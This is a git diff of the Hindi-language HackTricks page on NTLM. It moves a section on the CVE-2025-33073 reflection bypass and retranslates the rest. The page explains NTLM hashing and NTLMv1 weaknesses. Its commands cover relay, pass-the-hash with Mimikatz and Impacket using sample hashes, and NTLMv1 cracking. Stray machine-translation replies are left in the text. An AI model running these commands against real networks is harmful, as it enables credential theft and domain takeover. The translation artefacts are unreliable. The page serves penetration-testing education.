diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index d7bf19c2d..9a1b08853 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,76 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) - -Windows में कई उपाय हैं जो *reflection* हमलों को रोकने की कोशिश करते हैं जहाँ एक NTLM (या Kerberos) प्रमाणीकरण जो एक होस्ट से उत्पन्न होता है, उसे **समान** होस्ट पर SYSTEM विशेषाधिकार प्राप्त करने के लिए वापस भेजा जाता है। - -Microsoft ने MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) और बाद के पैच के साथ अधिकांश सार्वजनिक श्रृंखलाओं को तोड़ दिया, हालाँकि **CVE-2025-33073** दिखाता है कि सुरक्षा उपायों को **SMB क्लाइंट द्वारा Service Principal Names (SPNs)** को कैसे ट्रंकट किया जाता है, का दुरुपयोग करके अभी भी बायपास किया जा सकता है जो *marshalled* (serialized) लक्ष्य-सूचना को शामिल करता है। - -### TL;DR of the bug -1. एक हमलावर एक **DNS A-record** पंजीकृत करता है जिसका लेबल एक marshalled SPN को एन्कोड करता है – जैसे कि -`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` -2. पीड़ित को उस होस्टनाम (PetitPotam, DFSCoerce, आदि) पर प्रमाणीकरण करने के लिए मजबूर किया जाता है। -3. जब SMB क्लाइंट लक्ष्य स्ट्रिंग `cifs/srv11UWhRCAAAAA…` को `lsasrv!LsapCheckMarshalledTargetInfo` को पास करता है, तो `CredUnmarshalTargetInfo` को कॉल करने पर **serialized blob** हटा दिया जाता है, जिससे **`cifs/srv1`** बचता है। -4. `msv1_0!SspIsTargetLocalhost` (या Kerberos समकक्ष) अब लक्ष्य को *localhost* मानता है क्योंकि छोटा होस्ट भाग कंप्यूटर नाम (`SRV1`) से मेल खाता है। -5. परिणामस्वरूप, सर्वर `NTLMSSP_NEGOTIATE_LOCAL_CALL` सेट करता है और **LSASS के SYSTEM एक्सेस-टोकन** को संदर्भ में इंजेक्ट करता है (Kerberos के लिए एक SYSTEM-मार्क किया गया सबसत्र कुंजी बनाई जाती है)। -6. उस प्रमाणीकरण को `ntlmrelayx.py` **या** `krbrelayx.py` के साथ रिले करना समान होस्ट पर पूर्ण SYSTEM अधिकार देता है। - -### Quick PoC -```bash -# Add malicious DNS record -dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ --a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ --d 10.10.10.50 - -# Trigger authentication -PetitPotam.py -u user -p pass -d DOMAIN \ -srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL - -# Relay listener (NTLM) -ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support - -# Relay listener (Kerberos) – remove NTLM mechType first -krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support -``` -### Patch & Mitigations -* KB patch for **CVE-2025-33073** adds a check in `mrxsmb.sys::SmbCeCreateSrvCall` that blocks any SMB connection whose target contains marshalled info (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). -* **SMB signing** को लागू करें ताकि बिना पैच किए हुए होस्ट पर भी रिफ्लेक्शन को रोका जा सके। -* DNS रिकॉर्ड्स की निगरानी करें जो `*...*` के समान हैं और कोर्सन वेक्टर (PetitPotam, DFSCoerce, AuthIP...) को ब्लॉक करें। - -### Detection ideas -* `NTLMSSP_NEGOTIATE_LOCAL_CALL` के साथ नेटवर्क कैप्चर जहां क्लाइंट IP ≠ सर्वर IP। -* Kerberos AP-REQ जिसमें एक सबसेशन की और एक क्लाइंट प्रिंसिपल हो जो होस्टनेम के बराबर हो। -* Windows Event 4624/4648 SYSTEM लॉगऑन तुरंत बाद में उसी होस्ट से रिमोट SMB राइट्स। - -## References -* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) -* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) - ## Basic Information -उन वातावरणों में जहां **Windows XP और Server 2003** का संचालन हो रहा है, LM (Lan Manager) हैश का उपयोग किया जाता है, हालांकि यह व्यापक रूप से मान्यता प्राप्त है कि इन्हें आसानी से समझौता किया जा सकता है। एक विशेष LM हैश, `AAD3B435B51404EEAAD3B435B51404EE`, एक ऐसे परिदृश्य को इंगित करता है जहां LM का उपयोग नहीं किया गया है, जो एक खाली स्ट्रिंग के लिए हैश का प्रतिनिधित्व करता है। +उन वातावरणों में जहाँ **Windows XP और Server 2003** का संचालन हो रहा है, LM (Lan Manager) हैश का उपयोग किया जाता है, हालाँकि यह व्यापक रूप से माना जाता है कि इन्हें आसानी से समझौता किया जा सकता है। एक विशेष LM हैश, `AAD3B435B51404EEAAD3B435B51404EE`, एक ऐसे परिदृश्य को दर्शाता है जहाँ LM का उपयोग नहीं किया गया है, जो एक खाली स्ट्रिंग के लिए हैश का प्रतिनिधित्व करता है। -डिफ़ॉल्ट रूप से, **Kerberos** प्रमाणीकरण प्रोटोकॉल प्राथमिक विधि है। NTLM (NT LAN Manager) कुछ विशेष परिस्थितियों में कदम रखता है: Active Directory की अनुपस्थिति, डोमेन का अस्तित्व न होना, गलत कॉन्फ़िगरेशन के कारण Kerberos का खराब काम करना, या जब कनेक्शन एक IP पते का उपयोग करके किया जाता है बजाय एक मान्य होस्टनेम के। +डिफ़ॉल्ट रूप से, **Kerberos** प्रमाणीकरण प्रोटोकॉल मुख्य विधि है जो उपयोग की जाती है। NTLM (NT LAN Manager) कुछ विशेष परिस्थितियों में कदम रखता है: Active Directory की अनुपस्थिति, डोमेन का अस्तित्व न होना, गलत कॉन्फ़िगरेशन के कारण Kerberos का खराब काम करना, या जब कनेक्शन एक IP पते का उपयोग करके स्थापित करने का प्रयास किया जाता है बजाय एक मान्य होस्टनेम के। नेटवर्क पैकेट में **"NTLMSSP"** हेडर की उपस्थिति NTLM प्रमाणीकरण प्रक्रिया का संकेत देती है। -प्रमाणीकरण प्रोटोकॉल - LM, NTLMv1, और NTLMv2 - के लिए समर्थन एक विशिष्ट DLL द्वारा प्रदान किया जाता है जो `%windir%\Windows\System32\msv1\_0.dll` पर स्थित है। +प्रमाणीकरण प्रोटोकॉल - LM, NTLMv1, और NTLMv2 - के लिए समर्थन एक विशेष DLL द्वारा प्रदान किया जाता है जो `%windir%\Windows\System32\msv1\_0.dll` पर स्थित है। -**Key Points**: +**मुख्य बिंदु**: -- LM हैश कमजोर हैं और एक खाली LM हैश (`AAD3B435B51404EEAAD3B435B51404EE`) इसके गैर-उपयोग का संकेत देता है। -- Kerberos डिफ़ॉल्ट प्रमाणीकरण विधि है, NTLM केवल कुछ परिस्थितियों में उपयोग किया जाता है। +- LM हैश कमजोर होते हैं और एक खाली LM हैश (`AAD3B435B51404EEAAD3B435B51404EE`) इसके न उपयोग का संकेत देता है। +- Kerberos डिफ़ॉल्ट प्रमाणीकरण विधि है, NTLM केवल कुछ शर्तों के तहत उपयोग किया जाता है। - NTLM प्रमाणीकरण पैकेट "NTLMSSP" हेडर द्वारा पहचाने जा सकते हैं। - LM, NTLMv1, और NTLMv2 प्रोटोकॉल सिस्टम फ़ाइल `msv1\_0.dll` द्वारा समर्थित हैं। -## LM, NTLMv1 and NTLMv2 +## LM, NTLMv1 और NTLMv2 आप यह जांच सकते हैं और कॉन्फ़िगर कर सकते हैं कि कौन सा प्रोटोकॉल उपयोग किया जाएगा: ### GUI -_सेकपोल.msc_ चलाएँ -> स्थानीय नीतियाँ -> सुरक्षा विकल्प -> नेटवर्क सुरक्षा: LAN प्रबंधक प्रमाणीकरण स्तर। 6 स्तर हैं (0 से 5 तक)। +_सेकपोल.msc_ चलाएँ -> स्थानीय नीतियाँ -> सुरक्षा विकल्प -> नेटवर्क सुरक्षा: LAN प्रबंधक प्रमाणीकरण स्तर। यहाँ 6 स्तर हैं (0 से 5 तक)। ![](<../../images/image (919).png>) @@ -92,52 +46,52 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE ``` ## Basic NTLM Domain authentication Scheme -1. **उपयोगकर्ता** अपनी **प्रमाण पत्र** प्रस्तुत करता है +1. **उपयोगकर्ता** अपनी **प्रमाण-पत्र** प्रस्तुत करता है 2. क्लाइंट मशीन **प्रमाणीकरण अनुरोध भेजती है** जिसमें **डोमेन नाम** और **उपयोगकर्ता नाम** होता है 3. **सर्वर** **चुनौती** भेजता है 4. **क्लाइंट** **चुनौती** को पासवर्ड के हैश का उपयोग करके एन्क्रिप्ट करता है और इसे प्रतिक्रिया के रूप में भेजता है -5. **सर्वर** **डोमेन नियंत्रक** को **डोमेन नाम, उपयोगकर्ता नाम, चुनौती और प्रतिक्रिया** भेजता है। यदि कोई सक्रिय निर्देशिका कॉन्फ़िगर नहीं है या डोमेन नाम सर्वर का नाम है, तो प्रमाण पत्र **स्थानीय रूप से जांचे जाते हैं**। -6. **डोमेन नियंत्रक** जांचता है कि सब कुछ सही है और जानकारी सर्वर को भेजता है +5. **सर्वर** **डोमेन नियंत्रक** को **डोमेन नाम, उपयोगकर्ता नाम, चुनौती और प्रतिक्रिया** भेजता है। यदि कोई सक्रिय निर्देशिका कॉन्फ़िगर नहीं है या डोमेन नाम सर्वर का नाम है, तो प्रमाण-पत्र **स्थानीय रूप से जांचे जाते हैं**। +6. **डोमेन नियंत्रक यह जांचता है कि सब कुछ सही है** और जानकारी को सर्वर को भेजता है **सर्वर** और **डोमेन नियंत्रक** **नेटलॉगन** सर्वर के माध्यम से एक **सुरक्षित चैनल** बनाने में सक्षम हैं क्योंकि डोमेन नियंत्रक सर्वर का पासवर्ड जानता है (यह **NTDS.DIT** डेटाबेस के अंदर है)। ### Local NTLM authentication Scheme -प्रमाणीकरण जैसा कि पहले उल्लेख किया गया है, लेकिन **सर्वर** जानता है कि **उपयोगकर्ता** का **हैश** जो **SAM** फ़ाइल के अंदर प्रमाणीकरण करने की कोशिश कर रहा है। इसलिए, डोमेन नियंत्रक से पूछने के बजाय, **सर्वर स्वयं जांच करेगा** कि क्या उपयोगकर्ता प्रमाणीकरण कर सकता है। +प्रमाणीकरण जैसा कि पहले उल्लेख किया गया है, लेकिन **सर्वर** **SAM** फ़ाइल के अंदर प्रमाणित करने की कोशिश कर रहे **उपयोगकर्ता** के **हैश** को जानता है। इसलिए, डोमेन नियंत्रक से पूछने के बजाय, **सर्वर स्वयं जांच करेगा** कि क्या उपयोगकर्ता प्रमाणित हो सकता है। ### NTLMv1 Challenge **चुनौती की लंबाई 8 बाइट** है और **प्रतिक्रिया 24 बाइट** लंबी है। -**हैश NT (16बाइट)** को **3 भागों में 7बाइट प्रत्येक** में विभाजित किया गया है (7B + 7B + (2B+0x00\*5)): **अंतिम भाग शून्य से भरा** होता है। फिर, **चुनौती** को प्रत्येक भाग के साथ **अलग से एन्क्रिप्ट** किया जाता है और **परिणामी** एन्क्रिप्टेड बाइट्स को **जोड़ दिया जाता है**। कुल: 8B + 8B + 8B = 24Bytes। +**हैश NT (16बाइट)** को **3 भागों में 7बाइट प्रत्येक** में विभाजित किया गया है (7B + 7B + (2B+0x00\*5)): **अंतिम भाग शून्य से भरा हुआ है**। फिर, **चुनौती** को प्रत्येक भाग के साथ **अलग से एन्क्रिप्ट** किया जाता है और **परिणामी** एन्क्रिप्टेड बाइट्स को **जोड़ दिया जाता है**। कुल: 8B + 8B + 8B = 24Bytes। **समस्याएँ**: - **यादृच्छिकता** की कमी -- 3 भागों को **अलग-अलग हमला** किया जा सकता है ताकि NT हैश पाया जा सके +- 3 भागों को **अलग से हमला** किया जा सकता है ताकि NT हैश को खोजा जा सके - **DES को क्रैक किया जा सकता है** - 3º कुंजी हमेशा **5 शून्य** से बनी होती है। -- दिए गए **एक ही चुनौती** पर **प्रतिक्रिया** **एक जैसी** होगी। इसलिए, आप पीड़ित को **"1122334455667788"** स्ट्रिंग के रूप में **चुनौती** दे सकते हैं और **पूर्व-निर्मित रेनबो टेबल्स** का उपयोग करके प्रतिक्रिया पर हमला कर सकते हैं। +- दिए गए **एक ही चुनौती** पर **प्रतिक्रिया** **एक समान** होगी। इसलिए, आप पीड़ित को **"1122334455667788"** स्ट्रिंग के रूप में **चुनौती** दे सकते हैं और **पूर्व-निर्मित रेनबो टेबल्स** का उपयोग करके प्रतिक्रिया पर हमला कर सकते हैं। ### NTLMv1 attack आजकल बिना सीमित प्रतिनिधित्व के साथ वातावरण पाना कम सामान्य होता जा रहा है, लेकिन इसका मतलब यह नहीं है कि आप **प्रिंट स्पूलर सेवा** का दुरुपयोग नहीं कर सकते। -आप AD पर पहले से मौजूद कुछ प्रमाण पत्र/सत्रों का दुरुपयोग कर सकते हैं ताकि **प्रिंटर से किसी **होस्ट के खिलाफ प्रमाणीकरण करने के लिए** कहा जा सके जो आपके नियंत्रण में है। फिर, `metasploit auxiliary/server/capture/smb` या `responder` का उपयोग करके आप **प्रमाणीकरण चुनौती को 1122334455667788** पर सेट कर सकते हैं, प्रमाणीकरण प्रयास को कैप्चर कर सकते हैं, और यदि यह **NTLMv1** का उपयोग करके किया गया था तो आप इसे **क्रैक** कर सकेंगे।\ -यदि आप `responder` का उपयोग कर रहे हैं तो आप **`--lm` ध्वज का उपयोग करने** का प्रयास कर सकते हैं ताकि **प्रमाणीकरण** को **कम किया जा सके**।\ +आप AD पर पहले से मौजूद कुछ प्रमाण-पत्र/सत्रों का दुरुपयोग कर सकते हैं ताकि **प्रिंटर से कुछ **होस्ट के खिलाफ प्रमाणित करने के लिए** कहा जा सके जो आपके नियंत्रण में है। फिर, `metasploit auxiliary/server/capture/smb` या `responder` का उपयोग करके आप **प्रमाणीकरण चुनौती को 1122334455667788** पर सेट कर सकते हैं, प्रमाणीकरण प्रयास को कैप्चर कर सकते हैं, और यदि यह **NTLMv1** का उपयोग करके किया गया था तो आप इसे **क्रैक** कर सकेंगे।\ +यदि आप `responder` का उपयोग कर रहे हैं तो आप **`--lm` ध्वज का उपयोग करने** का प्रयास कर सकते हैं ताकि **प्रमाणीकरण को डाउनग्रेड** किया जा सके।\ _ध्यान दें कि इस तकनीक के लिए प्रमाणीकरण NTLMv1 का उपयोग करके किया जाना चाहिए (NTLMv2 मान्य नहीं है)।_ -याद रखें कि प्रिंटर प्रमाणीकरण के दौरान कंप्यूटर खाते का उपयोग करेगा, और कंप्यूटर खाते **लंबे और यादृच्छिक पासवर्ड** का उपयोग करते हैं जिन्हें आप **संभवतः सामान्य **शब्दकोशों** का उपयोग करके क्रैक नहीं कर पाएंगे। लेकिन **NTLMv1** प्रमाणीकरण **DES** का उपयोग करता है ([more info here](#ntlmv1-challenge)), इसलिए DES को क्रैक करने के लिए विशेष रूप से समर्पित कुछ सेवाओं का उपयोग करके आप इसे क्रैक कर सकेंगे (आप उदाहरण के लिए [https://crack.sh/](https://crack.sh) या [https://ntlmv1.com/](https://ntlmv1.com) का उपयोग कर सकते हैं)। +याद रखें कि प्रिंटर प्रमाणीकरण के दौरान कंप्यूटर खाते का उपयोग करेगा, और कंप्यूटर खाते **लंबे और यादृच्छिक पासवर्ड** का उपयोग करते हैं जिन्हें आप **सामान्य शब्दकोशों** का उपयोग करके **क्रैक** नहीं कर पाएंगे। लेकिन **NTLMv1** प्रमाणीकरण **DES** का उपयोग करता है ([more info here](#ntlmv1-challenge)), इसलिए DES को क्रैक करने के लिए विशेष रूप से समर्पित कुछ सेवाओं का उपयोग करके आप इसे क्रैक कर सकेंगे (आप उदाहरण के लिए [https://crack.sh/](https://crack.sh) या [https://ntlmv1.com/](https://ntlmv1.com) का उपयोग कर सकते हैं)। ### NTLMv1 attack with hashcat -NTLMv1 को NTLMv1 मल्टी टूल [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) के साथ भी तोड़ा जा सकता है जो NTLMv1 संदेशों को एक तरीके में प्रारूपित करता है जिसे हैशकैट के साथ तोड़ा जा सकता है। +NTLMv1 को NTLMv1 मल्टी टूल [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) के साथ भी तोड़ा जा सकता है जो NTLMv1 संदेशों को एक विधि में प्रारूपित करता है जिसे हैशकैट के साथ तोड़ा जा सकता है। The command ```bash python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` -Sure, please provide the text you would like me to translate. +Please provide the content you would like me to translate. ```bash ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] @@ -195,7 +149,7 @@ It seems that you haven't provided the text you want to be translated. Please sh 586c # this is the last part ``` -Please provide the text you would like me to translate to Hindi. +Please provide the text you would like me to translate. ```bash NTHASH=b4b9b02e6f09a9bd760f388b6700586c ``` @@ -203,7 +157,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c **चुनौती की लंबाई 8 बाइट है** और **2 प्रतिक्रियाएँ भेजी जाती हैं**: एक **24 बाइट** लंबी है और **दूसरी** की लंबाई **परिवर्तनीय** है। -**पहली प्रतिक्रिया** को **HMAC_MD5** का उपयोग करके **क्लाइंट और डोमेन** द्वारा निर्मित **स्ट्रिंग** को सिफर करके बनाया जाता है और **की** के रूप में **NT हैश** का **हैश MD4** उपयोग किया जाता है। फिर, **परिणाम** को **चुनौती** को सिफर करने के लिए **HMAC_MD5** का उपयोग करने के लिए **की** के रूप में उपयोग किया जाएगा। इसके लिए, **8 बाइट की क्लाइंट चुनौती जोड़ी जाएगी**। कुल: 24 B। +**पहली प्रतिक्रिया** को **HMAC_MD5** का उपयोग करके **क्लाइंट और डोमेन** द्वारा बनाई गई **स्ट्रिंग** को सिफर करके बनाया जाता है और **NT हैश** के **हैश MD4** को **की** के रूप में उपयोग किया जाता है। फिर, **परिणाम** को **चुनौती** को सिफर करने के लिए **HMAC_MD5** का उपयोग करने के लिए **की** के रूप में उपयोग किया जाएगा। इसके लिए, **8 बाइट की क्लाइंट चुनौती जोड़ी जाएगी**। कुल: 24 B। **दूसरी प्रतिक्रिया** को **कई मानों** (एक नई क्लाइंट चुनौती, **टाइमस्टैम्प** ताकि **रिप्ले हमलों** से बचा जा सके...) का उपयोग करके बनाया जाता है। @@ -218,15 +172,15 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c ### **Mimikatz** -**इसे व्यवस्थापक के रूप में चलाना आवश्यक है** +**इसे व्यवस्थापक के रूप में चलाने की आवश्यकता है** ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` -यह एक प्रक्रिया शुरू करेगा जो उन उपयोगकर्ताओं से संबंधित होगी जिन्होंने mimikatz लॉन्च किया है, लेकिन आंतरिक रूप से LSASS में सहेजे गए क्रेडेंशियल्स वही हैं जो mimikatz पैरामीटर के अंदर हैं। फिर, आप नेटवर्क संसाधनों तक उस उपयोगकर्ता के रूप में पहुंच सकते हैं (जैसे `runas /netonly` ट्रिक लेकिन आपको स्पष्ट पाठ पासवर्ड जानने की आवश्यकता नहीं है)। +यह एक प्रक्रिया शुरू करेगा जो उन उपयोगकर्ताओं से संबंधित होगी जिन्होंने mimikatz लॉन्च किया है, लेकिन LSASS के अंदर, सहेजे गए क्रेडेंशियल्स वही हैं जो mimikatz पैरामीटर के अंदर हैं। फिर, आप नेटवर्क संसाधनों तक उस उपयोगकर्ता के रूप में पहुंच सकते हैं (जैसे `runas /netonly` ट्रिक, लेकिन आपको स्पष्ट पाठ पासवर्ड जानने की आवश्यकता नहीं है)। -### लिनक्स से पास-थे-हैश +### Linux से Pass-the-Hash -आप लिनक्स से पास-थे-हैश का उपयोग करके Windows मशीनों में कोड निष्पादन प्राप्त कर सकते हैं।\ +आप Linux से Pass-the-Hash का उपयोग करके Windows मशीनों में कोड निष्पादन प्राप्त कर सकते हैं।\ [**यहां पहुंचें यह सीखने के लिए कि इसे कैसे करना है।**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) ### Impacket Windows संकलित उपकरण @@ -236,7 +190,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` - **atexec.exe** (इस मामले में आपको एक कमांड निर्दिष्ट करने की आवश्यकता है, cmd.exe और powershell.exe इंटरैक्टिव शेल प्राप्त करने के लिए मान्य नहीं हैं)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` -- और भी कई Impacket बाइनरी हैं... +- कई और Impacket बाइनरी हैं... ### Invoke-TheHash @@ -268,7 +222,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100 ### Windows Credentials Editor (WCE) -**इसे व्यवस्थापक के रूप में चलाने की आवश्यकता है** +**यह प्रशासनिक अधिकारों के साथ चलाना आवश्यक है** यह उपकरण वही काम करेगा जो mimikatz (LSASS मेमोरी को संशोधित करना) करता है। ``` @@ -280,19 +234,19 @@ wce.exe -s ::: ../lateral-movement/ {{#endref}} -## एक विंडोज होस्ट से क्रेडेंशियल निकालना +## विंडोज होस्ट से क्रेडेंशियल निकालना -**एक विंडोज होस्ट से क्रेडेंशियल प्राप्त करने के बारे में अधिक जानकारी के लिए आपको** [**यह पृष्ठ पढ़ना चाहिए**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**।** +**अधिक जानकारी के लिए** [**कैसे विंडोज होस्ट से क्रेडेंशियल प्राप्त करें, आपको यह पृष्ठ पढ़ना चाहिए**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** ## आंतरिक मोनोलॉग हमला -आंतरिक मोनोलॉग हमला एक छिपा हुआ क्रेडेंशियल निकालने की तकनीक है जो हमलावर को एक पीड़ित की मशीन से NTLM हैश को **LSASS प्रक्रिया के साथ सीधे इंटरैक्ट किए बिना** पुनः प्राप्त करने की अनुमति देती है। Mimikatz के विपरीत, जो हैश को सीधे मेमोरी से पढ़ता है और अक्सर एंडपॉइंट सुरक्षा समाधानों या क्रेडेंशियल गार्ड द्वारा अवरुद्ध होता है, यह हमला **सुरक्षा समर्थन प्रदाता इंटरफेस (SSPI) के माध्यम से NTLM प्रमाणीकरण पैकेज (MSV1_0) के लिए स्थानीय कॉल का लाभ उठाता है**। हमलावर पहले **NTLM सेटिंग्स को डाउनग्रेड करता है** (जैसे, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) यह सुनिश्चित करने के लिए कि NetNTLMv1 की अनुमति है। फिर वे चल रहे प्रक्रियाओं से प्राप्त मौजूदा उपयोगकर्ता टोकनों का अनुकरण करते हैं और एक ज्ञात चुनौती का उपयोग करके स्थानीय रूप से NTLM प्रमाणीकरण को ट्रिगर करते हैं ताकि NetNTLMv1 प्रतिक्रियाएँ उत्पन्न की जा सकें। +आंतरिक मोनोलॉग हमला एक छिपा हुआ क्रेडेंशियल निकालने की तकनीक है जो हमलावर को पीड़ित की मशीन से NTLM हैश को **LSASS प्रक्रिया के साथ सीधे इंटरैक्ट किए बिना** पुनः प्राप्त करने की अनुमति देती है। Mimikatz के विपरीत, जो हैश को सीधे मेमोरी से पढ़ता है और अक्सर एंडपॉइंट सुरक्षा समाधानों या क्रेडेंशियल गार्ड द्वारा अवरुद्ध होता है, यह हमला **सुरक्षा समर्थन प्रदाता इंटरफेस (SSPI) के माध्यम से NTLM प्रमाणीकरण पैकेज (MSV1_0) के लिए स्थानीय कॉल का लाभ उठाता है**। हमलावर पहले **NTLM सेटिंग्स को डाउनग्रेड करता है** (जैसे, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) यह सुनिश्चित करने के लिए कि NetNTLMv1 की अनुमति है। फिर वे चल रहे प्रक्रियाओं से प्राप्त मौजूदा उपयोगकर्ता टोकनों का अनुकरण करते हैं और स्थानीय रूप से NTLM प्रमाणीकरण को ट्रिगर करते हैं ताकि ज्ञात चुनौती का उपयोग करके NetNTLMv1 प्रतिक्रियाएँ उत्पन्न की जा सकें। इन NetNTLMv1 प्रतिक्रियाओं को कैप्चर करने के बाद, हमलावर **पूर्व-गणना किए गए रेनबो टेबल्स** का उपयोग करके मूल NTLM हैश को जल्दी से पुनः प्राप्त कर सकता है, जिससे पार्श्व आंदोलन के लिए आगे के पास-दी-हैश हमलों की अनुमति मिलती है। महत्वपूर्ण रूप से, आंतरिक मोनोलॉग हमला छिपा रहता है क्योंकि यह नेटवर्क ट्रैफ़िक उत्पन्न नहीं करता, कोड इंजेक्ट नहीं करता, या सीधे मेमोरी डंप को ट्रिगर नहीं करता, जिससे इसे पारंपरिक तरीकों जैसे Mimikatz की तुलना में पहचानना कठिन हो जाता है। -यदि NetNTLMv1 को स्वीकार नहीं किया जाता है—क्योंकि सुरक्षा नीतियों को लागू किया गया है, तो हमलावर NetNTLMv1 प्रतिक्रिया प्राप्त करने में विफल हो सकता है। +यदि NetNTLMv1 को स्वीकार नहीं किया जाता है—कड़े सुरक्षा नीतियों के कारण, तो हमलावर NetNTLMv1 प्रतिक्रिया प्राप्त करने में विफल हो सकता है। -इस मामले को संभालने के लिए, आंतरिक मोनोलॉग उपकरण को अपडेट किया गया: यह `AcceptSecurityContext()` का उपयोग करके एक सर्वर टोकन को गतिशील रूप से अधिग्रहित करता है ताकि यदि NetNTLMv1 विफल हो जाए तो **NetNTLMv2 प्रतिक्रियाएँ कैप्चर की जा सकें**। जबकि NetNTLMv2 को क्रैक करना बहुत कठिन है, यह अभी भी सीमित मामलों में रिले हमलों या ऑफ़लाइन ब्रूट-फोर्स के लिए एक मार्ग खोलता है। +इस मामले को संभालने के लिए, आंतरिक मोनोलॉग उपकरण को अपडेट किया गया: यह `AcceptSecurityContext()` का उपयोग करके एक सर्वर टोकन को गतिशील रूप से अधिग्रहित करता है ताकि यदि NetNTLMv1 विफल हो जाए तो **NetNTLMv2 प्रतिक्रियाएँ कैप्चर** की जा सकें। जबकि NetNTLMv2 को क्रैक करना बहुत कठिन है, यह अभी भी सीमित मामलों में रिले हमलों या ऑफ़लाइन ब्रूट-फोर्स के लिए एक मार्ग खोलता है। PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)** पर पाया जा सकता है। @@ -301,7 +255,7 @@ PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/elad **इन हमलों को कैसे करना है, इस पर अधिक विस्तृत गाइड पढ़ें:** {{#ref}} -../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md` {{#endref}} ## नेटवर्क कैप्चर से NTLM चुनौतियों को पार्स करना @@ -310,12 +264,12 @@ PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/elad ## NTLM और Kerberos *रिफ्लेक्शन* सीरियलाइज्ड SPNs (CVE-2025-33073) के माध्यम से -विंडोज में कई उपाय शामिल हैं जो *रिफ्लेक्शन* हमलों को रोकने की कोशिश करते हैं जहां एक NTLM (या Kerberos) प्रमाणीकरण जो एक होस्ट से उत्पन्न होता है, **उसी** होस्ट पर SYSTEM विशेषाधिकार प्राप्त करने के लिए वापस रिले किया जाता है। +विंडोज में कई निवारण शामिल हैं जो *रिफ्लेक्शन* हमलों को रोकने की कोशिश करते हैं जहां एक NTLM (या Kerberos) प्रमाणीकरण जो एक होस्ट से उत्पन्न होता है, **उसी** होस्ट पर SYSTEM विशेषाधिकार प्राप्त करने के लिए वापस रिले किया जाता है। Microsoft ने MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) और बाद के पैच के साथ अधिकांश सार्वजनिक श्रृंखलाओं को तोड़ दिया, हालांकि **CVE-2025-33073** दिखाता है कि सुरक्षा उपायों को अभी भी **SMB क्लाइंट द्वारा सेवा प्रिंसिपल नामों (SPNs)** को ट्रंक करने के तरीके का दुरुपयोग करके बायपास किया जा सकता है जो *मार्शल्ड* (सीरियलाइज्ड) लक्ष्य-जानकारी को शामिल करते हैं। ### बग का TL;DR -1. एक हमलावर एक **DNS A-रिकॉर्ड** पंजीकृत करता है जिसका लेबल एक मार्शल्ड SPN को एन्कोड करता है – जैसे +1. एक हमलावर एक **DNS A-record** पंजीकृत करता है जिसका लेबल एक मार्शल्ड SPN को एन्कोड करता है – जैसे `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` 2. पीड़ित को उस होस्टनाम (PetitPotam, DFSCoerce, आदि) पर प्रमाणीकरण करने के लिए मजबूर किया जाता है। 3. जब SMB क्लाइंट लक्ष्य स्ट्रिंग 